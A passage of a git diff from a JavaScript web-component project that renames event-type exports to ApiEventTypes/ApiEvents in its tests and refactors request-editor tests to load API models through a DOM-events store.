-      assert.typeOf(EventTypes.Api, 'object');
+      assert.typeOf(ApiEventTypes.Api, 'object');
     });
 
     it('is frozen', () => {
       assert.throws(() => {
         // @ts-ignore
-        EventTypes.Api = { read: '' };
+        ApiEventTypes.Api = { read: '' };
       });
     });
 
@@ -19,24 +19,24 @@ describe('EventTypes', () => {
       ['summary', 'amfstoreapisummary'],
     ].forEach(([prop, value]) => {
       it(`has ${prop} property`, () => {
-        assert.equal(EventTypes.Api[prop], value);
+        assert.equal(ApiEventTypes.Api[prop], value);
       });
     });
 
     it('has unique events for the namespace', () => {
-      ensureUnique('EventTypes.Api', EventTypes.Api);
+      ensureUnique('ApiEventTypes.Api', ApiEventTypes.Api);
     });
   });
 
   describe('Endpoint', () => {
     it('has Endpoint namespace', () => {
-      assert.typeOf(EventTypes.Endpoint, 'object');
+      assert.typeOf(ApiEventTypes.Endpoint, 'object');
     });
 
     it('is frozen', () => {
       assert.throws(() => {
         // @ts-ignore
-        EventTypes.Endpoint = { read: '' };
+        ApiEventTypes.Endpoint = { read: '' };
       });
     });
 
@@ -46,24 +46,24 @@ describe('EventTypes', () => {
       ['list', 'amfstoreendpointlist'],
     ].forEach(([prop, value]) => {
       it(`has ${prop} property`, () => {
-        assert.equal(EventTypes.Endpoint[prop], value);
+        assert.equal(ApiEventTypes.Endpoint[prop], value);
       });
     });
 
     it('has unique events for the namespace', () => {
-      ensureUnique('EventTypes.Endpoint', EventTypes.Endpoint);
+      ensureUnique('ApiEventTypes.Endpoint', ApiEventTypes.Endpoint);
     });
   });
 
   describe('Navigation', () => {
     it('has Navigation namespace', () => {
-      assert.typeOf(EventTypes.Navigation, 'object');
+      assert.typeOf(ApiEventTypes.Navigation, 'object');
     });
 
     it('is frozen', () => {
       assert.throws(() => {
         // @ts-ignore
-        EventTypes.Navigation = { read: '' };
+        ApiEventTypes.Navigation = { read: '' };
       });
     });
 
@@ -71,24 +71,24 @@ describe('EventTypes', () => {
       ['apiNavigate', 'apinavigate'],
     ].forEach(([prop, value]) => {
       it(`has ${prop} property`, () => {
-        assert.equal(EventTypes.Navigation[prop], value);
+        assert.equal(ApiEventTypes.Navigation[prop], value);
       });
     });
 
     it('has unique events for the namespace', () => {
-      ensureUnique('EventTypes.Navigation', EventTypes.Navigation);
+      ensureUnique('ApiEventTypes.Navigation', ApiEventTypes.Navigation);
     });
   });
 
   describe('Server', () => {
     it('has Server namespace', () => {
-      assert.typeOf(EventTypes.Server, 'object');
+      assert.typeOf(ApiEventTypes.Server, 'object');
     });
 
     it('is frozen', () => {
       assert.throws(() => {
         // @ts-ignore
-        EventTypes.Server = { read: '' };
+        ApiEventTypes.Server = { read: '' };
       });
     });
 
@@ -97,24 +97,24 @@ describe('EventTypes', () => {
       ['serverCountChange', 'serverscountchanged'],
     ].forEach(([prop, value]) => {
       it(`has ${prop} property`, () => {
-        assert.equal(EventTypes.Server[prop], value);
+        assert.equal(ApiEventTypes.Server[prop], value);
       });
     });
 
     it('has unique events for the namespace', () => {
-      ensureUnique('EventTypes.Server', EventTypes.Server);
+      ensureUnique('ApiEventTypes.Server', ApiEventTypes.Server);
     });
   });
 
   describe('Security', () => {
     it('has Security namespace', () => {
-      assert.typeOf(EventTypes.Security, 'object');
+      assert.typeOf(ApiEventTypes.Security, 'object');
     });
 
     it('is frozen', () => {
       assert.throws(() => {
         // @ts-ignore
-        EventTypes.Security = { read: '' };
+        ApiEventTypes.Security = { read: '' };
       });
     });
 
@@ -122,24 +122,24 @@ describe('EventTypes', () => {
       ['settingsChanged', 'securitysettingsinfochanged'],
     ].forEach(([prop, value]) => {
       it(`has ${prop} property`, () => {
-        assert.equal(EventTypes.Security[prop], value);
+        assert.equal(ApiEventTypes.Security[prop], value);
       });
     });
 
     it('has unique events for the namespace', () => {
-      ensureUnique('EventTypes.Security', EventTypes.Security);
+      ensureUnique('ApiEventTypes.Security', ApiEventTypes.Security);
     });
   });
 
   describe('Request', () => {
     it('has Request namespace', () => {
-      assert.typeOf(EventTypes.Request, 'object');
+      assert.typeOf(ApiEventTypes.Request, 'object');
     });
 
     it('is frozen', () => {
       assert.throws(() => {
         // @ts-ignore
-        EventTypes.Request = { read: '' };
+        ApiEventTypes.Request = { read: '' };
       });
     });
 
@@ -156,24 +156,24 @@ describe('EventTypes', () => {
       ['populateAnnotatedFieldsLegacy', 'populate_annotated_fields'],
     ].forEach(([prop, value]) => {
       it(`has ${prop} property`, () => {
-        assert.equal(EventTypes.Request[prop], value);
+        assert.equal(ApiEventTypes.Request[prop], value);
       });
     });
 
     it('has unique events for the namespace', () => {
-      ensureUnique('EventTypes.Request', EventTypes.Request);
+      ensureUnique('ApiEventTypes.Request', ApiEventTypes.Request);
     });
   });
 
   describe('Reporting', () => {
     it('has Reporting namespace', () => {
-      assert.typeOf(EventTypes.Reporting, 'object');
+      assert.typeOf(ApiEventTypes.Reporting, 'object');
     });
 
     it('is frozen', () => {
       assert.throws(() => {
         // @ts-ignore
-        EventTypes.Reporting = { read: '' };
+        ApiEventTypes.Reporting = { read: '' };
       });
     });
 
@@ -181,24 +181,24 @@ describe('EventTypes', () => {
       ['error', 'apierror'],
     ].forEach(([prop, value]) => {
       it(`has ${prop} property`, () => {
-        assert.equal(EventTypes.Reporting[prop], value);
+        assert.equal(ApiEventTypes.Reporting[prop], value);
       });
     });
 
     it('has unique events for the namespace', () => {
-      ensureUnique('EventTypes.Reporting', EventTypes.Reporting);
+      ensureUnique('ApiEventTypes.Reporting', ApiEventTypes.Reporting);
     });
   });
 
   describe('Telemetry', () => {
     it('has Telemetry namespace', () => {
-      assert.typeOf(EventTypes.Telemetry, 'object');
+      assert.typeOf(ApiEventTypes.Telemetry, 'object');
     });
 
     it('is frozen', () => {
       assert.throws(() => {
         // @ts-ignore
-        EventTypes.Telemetry = { read: '' };
+        ApiEventTypes.Telemetry = { read: '' };
       });
     });
 
@@ -210,24 +210,24 @@ describe('EventTypes', () => {
       ['timing', 'telemetrytiming'],
     ].forEach(([prop, value]) => {
       it(`has ${prop} property`, () => {
-        assert.equal(EventTypes.Telemetry[prop], value);
+        assert.equal(ApiEventTypes.Telemetry[prop], value);
       });
     });
 
     it('has unique events for the namespace', () => {
-      ensureUnique('EventTypes.Telemetry', EventTypes.Telemetry);
+      ensureUnique('ApiEventTypes.Telemetry', ApiEventTypes.Telemetry);
     });
   });
 
   describe('Store', () => {
     it('has Store namespace', () => {
-      assert.typeOf(EventTypes.Store, 'object');
+      assert.typeOf(ApiEventTypes.Store, 'object');
     });
 
     it('is frozen', () => {
       assert.throws(() => {
         // @ts-ignore
-        EventTypes.Store = { read: '' };
+        ApiEventTypes.Store = { read: '' };
       });
     });
 
@@ -235,12 +235,12 @@ describe('EventTypes', () => {
       ['graphChange', 'apistoregraphchange'],
     ].forEach(([prop, value]) => {
       it(`has ${prop} property`, () => {
-        assert.equal(EventTypes.Store[prop], value);
+        assert.equal(ApiEventTypes.Store[prop], value);
       });
     });
 
     it('has unique events for the namespace', () => {
-      ensureUnique('EventTypes.Store', EventTypes.Store);
+      ensureUnique('ApiEventTypes.Store', ApiEventTypes.Store);
     });
   });
 });
diff --git a/test/events/NavigationEvents.test.js b/test/events/NavigationEvents.test.js
index 6d75f58..d73533d 100644
--- a/test/events/NavigationEvents.test.js
+++ b/test/events/NavigationEvents.test.js
@@ -1,6 +1,6 @@
 import { assert, fixture, html } from '@open-wc/testing';
 import sinon from 'sinon';
-import { Events, EventTypes } from  '../../index.js';
+import { ApiEvents, ApiEventTypes } from  '../../index.js';
 
 describe('Events', () => {
   /**
@@ -20,40 +20,40 @@ describe('Events', () => {
       it('dispatches the event', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Navigation.apiNavigate, spy);
-        Events.Navigation.apiNavigate(et, domainId, domainType);
+        et.addEventListener(ApiEventTypes.Navigation.apiNavigate, spy);
+        ApiEvents.Navigation.apiNavigate(et, domainId, domainType);
         assert.isTrue(spy.calledOnce);
       });
 
       it('the event has the "domainId" property', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Navigation.apiNavigate, spy);
-        Events.Navigation.apiNavigate(et, domainId, domainType);
+        et.addEventListener(ApiEventTypes.Navigation.apiNavigate, spy);
+        ApiEvents.Navigation.apiNavigate(et, domainId, domainType);
         assert.deepEqual(spy.args[0][0].detail.domainId, domainId);
       });
 
       it('the event has the "domainType" property', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Navigation.apiNavigate, spy);
-        Events.Navigation.apiNavigate(et, domainId, domainType);
+        et.addEventListener(ApiEventTypes.Navigation.apiNavigate, spy);
+        ApiEvents.Navigation.apiNavigate(et, domainId, domainType);
         assert.deepEqual(spy.args[0][0].detail.domainType, domainType);
       });
 
       it('the event has the "parentId" property', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Navigation.apiNavigate, spy);
-        Events.Navigation.apiNavigate(et, domainId, domainType, parentId);
+        et.addEventListener(ApiEventTypes.Navigation.apiNavigate, spy);
+        ApiEvents.Navigation.apiNavigate(et, domainId, domainType, parentId);
         assert.deepEqual(spy.args[0][0].detail.parentId, parentId);
       });
 
       it('the event has the "passive" property', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Navigation.apiNavigate, spy);
-        Events.Navigation.apiNavigate(et, domainId, domainType, parentId, passive);
+        et.addEventListener(ApiEventTypes.Navigation.apiNavigate, spy);
+        ApiEvents.Navigation.apiNavigate(et, domainId, domainType, parentId, passive);
         assert.deepEqual(spy.args[0][0].detail.passive, passive);
       });
     });
diff --git a/test/events/ReportingEvents.test.js b/test/events/ReportingEvents.test.js
index a807c03..8c0c60d 100644
--- a/test/events/ReportingEvents.test.js
+++ b/test/events/ReportingEvents.test.js
@@ -1,6 +1,6 @@
 import { assert, fixture, html } from '@open-wc/testing';
 import sinon from 'sinon';
-import { Events, EventTypes } from  '../../index.js';
+import { ApiEvents, ApiEventTypes } from  '../../index.js';
 
 /** @typedef {import('../../').ReportingErrorEventDetail } ReportingErrorEventDetail */
 
@@ -21,16 +21,16 @@ describe('Events', () => {
       it('dispatches the event', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Reporting.error, spy);
-        Events.Reporting.error(et, err, desc);
+        et.addEventListener(ApiEventTypes.Reporting.error, spy);
+        ApiEvents.Reporting.error(et, err, desc);
         assert.isTrue(spy.calledOnce);
       });
 
       it('the event has the error property', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Reporting.error, spy);
-        Events.Reporting.error(et, err, desc);
+        et.addEventListener(ApiEventTypes.Reporting.error, spy);
+        ApiEvents.Reporting.error(et, err, desc);
         const info = /** @type ReportingErrorEventDetail */ (spy.args[0][0].detail);
         assert.isTrue(info.error === err);
       });
@@ -38,8 +38,8 @@ describe('Events', () => {
       it('the event has the description property', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Reporting.error, spy);
-        Events.Reporting.error(et, err, desc);
+        et.addEventListener(ApiEventTypes.Reporting.error, spy);
+        ApiEvents.Reporting.error(et, err, desc);
         const info = /** @type ReportingErrorEventDetail */ (spy.args[0][0].detail);
         assert.equal(info.description, desc);
       });
@@ -47,8 +47,8 @@ describe('Events', () => {
       it('the event has the component property', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Reporting.error, spy);
-        Events.Reporting.error(et, err, desc, cmp);
+        et.addEventListener(ApiEventTypes.Reporting.error, spy);
+        ApiEvents.Reporting.error(et, err, desc, cmp);
         const info = /** @type ReportingErrorEventDetail */ (spy.args[0][0].detail);
         assert.equal(info.component, cmp);
       });
diff --git a/test/events/StoreEvents.test.js b/test/events/StoreEvents.test.js
index 9f73037..91d0768 100644
--- a/test/events/StoreEvents.test.js
+++ b/test/events/StoreEvents.test.js
@@ -1,6 +1,6 @@
 import { assert, fixture, html } from '@open-wc/testing';
 import sinon from 'sinon';
-import { Events, EventTypes } from  '../../index.js';
+import { ApiEvents, ApiEventTypes } from  '../../index.js';
 
 /** @typedef {import('../../').ReportingErrorEventDetail } ReportingErrorEventDetail */
 
@@ -17,8 +17,8 @@ describe('Events', () => {
       it('dispatches the event', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Store.graphChange, spy);
-        Events.Store.graphChange(et);
+        et.addEventListener(ApiEventTypes.Store.graphChange, spy);
+        ApiEvents.Store.graphChange(et);
         assert.isTrue(spy.calledOnce);
       });
     });
diff --git a/test/events/TelemetryEvents.test.js b/test/events/TelemetryEvents.test.js
index 22cfc9b..d0e5f85 100644
--- a/test/events/TelemetryEvents.test.js
+++ b/test/events/TelemetryEvents.test.js
@@ -1,6 +1,6 @@
 import { assert, fixture, html } from '@open-wc/testing';
 import sinon from 'sinon';
-import { Events, EventTypes } from  '../../index.js';
+import { ApiEvents, ApiEventTypes } from  '../../index.js';
 
 /** @typedef {import('../../').TelemetryDetail } TelemetryDetail */
 /** @typedef {import('../../').TelemetryEventDetail } TelemetryEventDetail */
@@ -24,16 +24,16 @@ describe('Events', () => {
       it('dispatches the event', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Telemetry.view, spy);
-        Events.Telemetry.view(et, screenName);
+        et.addEventListener(ApiEventTypes.Telemetry.view, spy);
+        ApiEvents.Telemetry.view(et, screenName);
         assert.isTrue(spy.calledOnce);
       });
 
       it('the event has screen name on the detail', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Telemetry.view, spy);
-        Events.Telemetry.view(et, screenName);
+        et.addEventListener(ApiEventTypes.Telemetry.view, spy);
+        ApiEvents.Telemetry.view(et, screenName);
         const info = /** @type TelemetryScreenViewDetail */ (spy.args[0][0].detail);
         assert.equal(info.screenName, screenName);
       });
@@ -45,8 +45,8 @@ describe('Events', () => {
           customMetrics: [{ index: 1, value: 1 }],
           customDimensions: [{ index: 1, value: 'test' }],
         };
-        et.addEventListener(EventTypes.Telemetry.view, spy);
-        Events.Telemetry.view(et, screenName, custom);
+        et.addEventListener(ApiEventTypes.Telemetry.view, spy);
+        ApiEvents.Telemetry.view(et, screenName, custom);
         const info = /** @type TelemetryScreenViewDetail */ (spy.args[0][0].detail);
         assert.deepEqual(info.customMetrics, custom.customMetrics, 'has customMetrics');
         assert.deepEqual(info.customDimensions, custom.customDimensions, 'has customDimensions');
@@ -64,16 +64,16 @@ describe('Events', () => {
       it('dispatches the event', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Telemetry.event, spy);
-        Events.Telemetry.event(et, init);
+        et.addEventListener(ApiEventTypes.Telemetry.event, spy);
+        ApiEvents.Telemetry.event(et, init);
         assert.isTrue(spy.calledOnce);
       });
 
       it('the event has the detail object', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Telemetry.event, spy);
-        Events.Telemetry.event(et, init);
+        et.addEventListener(ApiEventTypes.Telemetry.event, spy);
+        ApiEvents.Telemetry.event(et, init);
         const info = /** @type TelemetryEventDetail */ (spy.args[0][0].detail);
         assert.deepEqual(info, init);
       });
@@ -86,16 +86,16 @@ describe('Events', () => {
       it('dispatches the event', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Telemetry.exception, spy);
-        Events.Telemetry.exception(et, description);
+        et.addEventListener(ApiEventTypes.Telemetry.exception, spy);
+        ApiEvents.Telemetry.exception(et, description);
         assert.isTrue(spy.calledOnce);
       });
 
       it('the event has the description property', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Telemetry.exception, spy);
-        Events.Telemetry.exception(et, description);
+        et.addEventListener(ApiEventTypes.Telemetry.exception, spy);
+        ApiEvents.Telemetry.exception(et, description);
         const info = /** @type TelemetryExceptionDetail */ (spy.args[0][0].detail);
         assert.equal(info.description, description);
       });
@@ -103,8 +103,8 @@ describe('Events', () => {
       it('the event has the fatal property', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Telemetry.exception, spy);
-        Events.Telemetry.exception(et, description, fatal);
+        et.addEventListener(ApiEventTypes.Telemetry.exception, spy);
+        ApiEvents.Telemetry.exception(et, description, fatal);
         const info = /** @type TelemetryExceptionDetail */ (spy.args[0][0].detail);
         assert.equal(info.fatal, true);
       });
@@ -116,8 +116,8 @@ describe('Events', () => {
           customMetrics: [{ index: 1, value: 1 }],
           customDimensions: [{ index: 1, value: 'test' }],
         };
-        et.addEventListener(EventTypes.Telemetry.exception, spy);
-        Events.Telemetry.exception(et, description, false, custom);
+        et.addEventListener(ApiEventTypes.Telemetry.exception, spy);
+        ApiEvents.Telemetry.exception(et, description, false, custom);
         const info = /** @type TelemetryExceptionDetail */ (spy.args[0][0].detail);
         assert.deepEqual(info.customMetrics, custom.customMetrics, 'has customMetrics');
         assert.deepEqual(info.customDimensions, custom.customDimensions, 'has customDimensions');
@@ -134,16 +134,16 @@ describe('Events', () => {
       it('dispatches the event', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Telemetry.social, spy);
-        Events.Telemetry.social(et, init.network, init.action, init.target);
+        et.addEventListener(ApiEventTypes.Telemetry.social, spy);
+        ApiEvents.Telemetry.social(et, init.network, init.action, init.target);
         assert.isTrue(spy.calledOnce);
       });
 
       it('the event has the detail object', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Telemetry.social, spy);
-        Events.Telemetry.social(et, init.network, init.action, init.target);
+        et.addEventListener(ApiEventTypes.Telemetry.social, spy);
+        ApiEvents.Telemetry.social(et, init.network, init.action, init.target);
         const info = /** @type TelemetrySocialDetail */ (spy.args[0][0].detail);
         assert.deepEqual(info, init);
       });
@@ -155,8 +155,8 @@ describe('Events', () => {
           customMetrics: [{ index: 1, value: 1 }],
           customDimensions: [{ index: 1, value: 'test' }],
         };
-        et.addEventListener(EventTypes.Telemetry.social, spy);
-        Events.Telemetry.social(et, init.network, init.action, init.target, custom);
+        et.addEventListener(ApiEventTypes.Telemetry.social, spy);
+        ApiEvents.Telemetry.social(et, init.network, init.action, init.target, custom);
         const info = /** @type TelemetrySocialDetail */ (spy.args[0][0].detail);
         assert.deepEqual(info, { ...init, ...custom });
       });
@@ -173,16 +173,16 @@ describe('Events', () => {
       it('dispatches the event', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Telemetry.timing, spy);
-        Events.Telemetry.timing(et, init.category, init.variable, init.value, init.label);
+        et.addEventListener(ApiEventTypes.Telemetry.timing, spy);
+        ApiEvents.Telemetry.timing(et, init.category, init.variable, init.value, init.label);
         assert.isTrue(spy.calledOnce);
       });
 
       it('the event has the detail object', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Telemetry.timing, spy);
-        Events.Telemetry.timing(et, init.category, init.variable, init.value, init.label);
+        et.addEventListener(ApiEventTypes.Telemetry.timing, spy);
+        ApiEvents.Telemetry.timing(et, init.category, init.variable, init.value, init.label);
         const info = /** @type TelemetryTimingDetail */ (spy.args[0][0].detail);
         assert.deepEqual(info, init);
       });
@@ -194,8 +194,8 @@ describe('Events', () => {
           customMetrics: [{ index: 1, value: 1 }],
           customDimensions: [{ index: 1, value: 'test' }],
         };
-        et.addEventListener(EventTypes.Telemetry.timing, spy);
-        Events.Telemetry.timing(et, init.category, init.variable, init.value, init.label, custom);
+        et.addEventListener(ApiEventTypes.Telemetry.timing, spy);
+        ApiEvents.Telemetry.timing(et, init.category, init.variable, init.value, init.label, custom);
         const info = /** @type TelemetryTimingDetail */ (spy.args[0][0].detail);
         assert.deepEqual(info, { ...init, ...custom });
       });
diff --git a/test/http-request/APIC-289.test.js b/test/http-request/APIC-289.test.js
index 568bbc3..73c4213 100644
--- a/test/http-request/APIC-289.test.js
+++ b/test/http-request/APIC-289.test.js
@@ -1,5 +1,6 @@
 import { fixture, assert, html, aTimeout } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
 import '../../define/api-request-editor.js';
 
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
@@ -7,32 +8,36 @@ import '../../define/api-request-editor.js';
 
 describe('ApiRequestEditorElement', () => {
   describe('APIC-289', () => {
+    const store = new DomEventsAmfStore(window);
+    store.listen();
+
     /**
-     * @param {AmfDocument} amf
      * @param {string} selected
      * @returns {Promise<ApiRequestEditorElement>}
      */
-    async function modelFixture(amf, selected) {
-      return (fixture(html`<api-request-editor
-        .amf="${amf}"
+    async function modelFixture(selected) {
+      const element = /** @type ApiRequestEditorElement */ (await fixture(html`<api-request-editor
         .domainId="${selected}"></api-request-editor>`));
+      await aTimeout(2);
+      return element;
     }
 
     const apiFile = 'APIC-289';
     [true, false].forEach((compact) => {
       describe(compact ? 'Compact model' : 'Full model', () => {
         /** @type AmfLoader */
-        let store;
+        let loader;
         /** @type AmfDocument */
         let amf;
         before(async () => {
-          store = new AmfLoader();
-          amf = await store.getGraph(compact, apiFile);
+          loader = new AmfLoader();
+          amf = await loader.getGraph(compact, apiFile);
+          store.amf = amf;
         });
 
         it('generates query parameters model', async () => {
-          const method = store.lookupOperation(amf, '/organization', 'get');
-          const element = await modelFixture(amf, method['@id']);
+          const method = loader.lookupOperation(amf, '/organization', 'get');
+          const element = await modelFixture(method['@id']);
           await aTimeout(0);
           await aTimeout(0);
           const model = element.parametersValue;
@@ -40,8 +45,8 @@ describe('ApiRequestEditorElement', () => {
         });
 
         it('has OAS name on a parameter', async () => {
-          const method = store.lookupOperation(amf, '/organization', 'get');
-          const element = await modelFixture(amf, method['@id']);
+          const method = loader.lookupOperation(amf, '/organization', 'get');
+          const element = await modelFixture(method['@id']);
           await aTimeout(0);
           await aTimeout(0);
           const model = element.parametersValue.find(p => p.parameter.name === 'foo_bar');
@@ -49,8 +54,8 @@ describe('ApiRequestEditorElement', () => {
         });
 
         it('render parameter name with the input', async () => {
-          const method = store.lookupOperation(amf, '/organization', 'get');
-          const element = await modelFixture(amf, method['@id']);
+          const method = loader.lookupOperation(amf, '/organization', 'get');
+          const element = await modelFixture(method['@id']);
           await aTimeout(0);
           await aTimeout(0);
           const node = element.shadowRoot.querySelector('.form-input label');
diff --git a/test/http-request/APIC-298.test.js b/test/http-request/APIC-298.test.js
index 885c9e0..8b97ccc 100644
--- a/test/http-request/APIC-298.test.js
+++ b/test/http-request/APIC-298.test.js
@@ -1,5 +1,6 @@
-import { fixture, assert, html } from '@open-wc/testing';
+import { fixture, assert, html, aTimeout } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
 import '../../define/api-request-editor.js';
 
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
@@ -7,17 +8,19 @@ import '../../define/api-request-editor.js';
 
 describe('ApiRequestEditorElement', () => {
   describe('APIC-298', () => {
+    const store = new DomEventsAmfStore(window);
+    store.listen();
     const apiFile = 'APIC-298';
 
     /**
-     * @param {AmfDocument} amf
-     * @param {string} selected
+     * @param {string} domainId
      * @returns {Promise<ApiRequestEditorElement>}
      */
-    async function modelFixture(amf, selected) {
-      return (fixture(html`<api-request-editor
-        .amf="${amf}"
-        .domainId="${selected}"></api-request-editor>`));
+    async function modelFixture(domainId) {
+      const element = /** @type ApiRequestEditorElement */ (await fixture(html`<api-request-editor
+        .domainId="${domainId}"></api-request-editor>`));
+      await aTimeout(2);
+      return element;
     }
 
     [true].forEach((compact) => {
@@ -25,20 +28,21 @@ describe('ApiRequestEditorElement', () => {
         let methodId;
 
         /** @type AmfLoader */
-        let store;
+        let loader;
         /** @type AmfDocument */
         let amf;
         before(async () => {
-          store = new AmfLoader();
-          amf = await store.getGraph(compact, apiFile);
+          loader = new AmfLoader();
+          amf = await loader.getGraph(compact, apiFile);
+          store.amf = amf;
         });
 
         /** @type ApiRequestEditorElement */
         let element;
         beforeEach(async () => {
-          const method = store.lookupOperation(amf,  '/prescreens/{id}', 'get');
+          const method = loader.lookupOperation(amf,  '/prescreens/{id}', 'get');
           methodId = method['@id'];
-          element = await modelFixture(amf, methodId);
+          element = await modelFixture(methodId);
         });
 
         it('computes pth uri parameters', () => {
diff --git a/test/http-request/APIC-689.test.js b/test/http-request/APIC-689.test.js
index dcd9cca..ff930f4 100644
--- a/test/http-request/APIC-689.test.js
+++ b/test/http-request/APIC-689.test.js
@@ -1,5 +1,6 @@
-import { assert, fixture, html } from '@open-wc/testing';
+import { assert, fixture, html, aTimeout } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
 import '../../define/api-request-editor.js';
 
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
@@ -7,43 +8,46 @@ import '../../define/api-request-editor.js';
 
 describe('ApiRequestEditorElement', () => {
   describe('APIC-689', () => {
+    const store = new DomEventsAmfStore(window);
+    store.listen();
     const apiFile = 'APIC-689';
 
     /**
-     * @param {AmfDocument} amf
-     * @param {string} selected
+     * @param {string} domainId
      * @returns {Promise<ApiRequestEditorElement>}
      */
-    async function modelFixture(amf, selected) {
-      return (fixture(html`<api-request-editor
-        .amf="${amf}"
-        .domainId="${selected}"></api-request-editor>`));
+    async function modelFixture(domainId) {
+      const element = /** @type ApiRequestEditorElement */ (await fixture(html`<api-request-editor
+        .domainId="${domainId}"></api-request-editor>`));
+      await aTimeout(2);
+      return element;
     }
 
     [true, false].forEach((compact) => {
       describe(compact ? 'Compact model' : 'Full model', () => {
         /** @type AmfLoader */
-        let store;
+        let loader;
         /** @type AmfDocument */
         let amf;
 
         before(async () => {
-          store = new AmfLoader();
-          amf = await store.getGraph(compact, apiFile);
+          loader = new AmfLoader();
+          amf = await loader.getGraph(compact, apiFile);
+          store.amf = amf;
         });
 
         it('does not set URL query param for an optional enum', async () => {
-          const method = store.lookupOperation(amf, '/test', 'get');
+          const method = loader.lookupOperation(amf, '/test', 'get');
           const methodId = method['@id'];
-          const editor = await modelFixture(amf, methodId);
+          const editor = await modelFixture(methodId);
           const values = editor.serialize();
           assert.equal(values.url, '/test', 'param value is not set');
         });
 
         it('sets URL query param for a required enum', async () => {
-          const method = store.lookupOperation(amf, '/test', 'post');
+          const method = loader.lookupOperation(amf, '/test', 'post');
           const methodId = method['@id'];
-          const editor = await modelFixture(amf, methodId);
+          const editor = await modelFixture(methodId);
           const values = editor.serialize();
           assert.equal(values.url, '/test?param1=A', 'param value is set');
         });
diff --git a/test/http-request/ApiRequestEditorElement.test.js b/test/http-request/ApiRequestEditorElement.test.js
index 64afbc7..4c0bb4c 100644
--- a/test/http-request/ApiRequestEditorElement.test.js
+++ b/test/http-request/ApiRequestEditorElement.test.js
@@ -3,10 +3,11 @@ import { fixture, assert, html, nextFrame, aTimeout } from '@open-wc/testing';
 import sinon from 'sinon';
 import * as InputCache from '../../src/lib/InputCache.js';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../define/api-request-editor.js';
 import { loadMonaco } from '../MonacoSetup.js';
 import { RequestEvents, ApiResponseEvent } from '../../src/events/RequestEvents.js';
 import { EventTypes } from '../../src/events/EventTypes.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
+import '../../define/api-request-editor.js';
 import { 
   responseHandler, 
   loadingRequestValue, 
@@ -20,96 +21,103 @@ import {
 /** @typedef {import('../../').ApiRequestEditorElement} ApiRequestEditorElement */
 
 describe('ApiRequestEditorElement', () => {
+  const store = new DomEventsAmfStore(window);
+  store.listen();
+
   /** @type AmfLoader */
-  let store;
+  let loader;
   before(async () => {
     await loadMonaco();
-    store = new AmfLoader();
+    loader = new AmfLoader();
   });
 
   /**
-   * @param {AmfDocument=} model
    * @returns {Promise<ApiRequestEditorElement>}
    */
-  async function basicFixture(model) {
-    return (fixture(html`<api-request-editor .amf="${model}"></api-request-editor>`));
+  async function basicFixture() {
+    const element = /** @type ApiRequestEditorElement */ (await fixture(html`<api-request-editor></api-request-editor>`));
+    await aTimeout(2);
+    return element;
   }
 
   /**
-   * @param {AmfDocument=} model
    * @returns {Promise<ApiRequestEditorElement>}
    */
-  async function allowCustomFixture(model) {
-    return (fixture(html`<api-request-editor .amf="${model}" allowCustom></api-request-editor>`));
+  async function allowCustomFixture() {
+    const element = /** @type ApiRequestEditorElement */ (await fixture(html`<api-request-editor allowCustom></api-request-editor>`));
+    await aTimeout(2);
+    return element;
   }
 
   /**
-   * @param {AmfDocument} model
    * @param {string=} selected
    * @returns {Promise<ApiRequestEditorElement>}
    */
-  async function modelFixture(model, selected) {
-    return (fixture(html`<api-request-editor
-      .amf="${model}"
+  async function modelFixture(selected) {
+    const element = /** @type ApiRequestEditorElement */ (await fixture(html`<api-request-editor
       .domainId="${selected}"></api-request-editor>`));
+    await aTimeout(2);
+    return element;
   }
 
   /**
-   * @param {AmfDocument=} model
    * @param {string=} selected
    * @returns {Promise<ApiRequestEditorElement>}
    */
-  async function urlEditorFixture(model, selected) {
-    return (fixture(html`<api-request-editor
-      .amf="${model}"
+  async function urlEditorFixture(selected) {
+    const element = /** @type ApiRequestEditorElement */ (await fixture(html`<api-request-editor
       .domainId="${selected}"
       urlEditor></api-request-editor>`));
+    await aTimeout(2);
+    return element;
   }
 
   /**
-   * @param {AmfDocument} model
    * @param {string} selected
    * @returns {Promise<ApiRequestEditorElement>}
    */
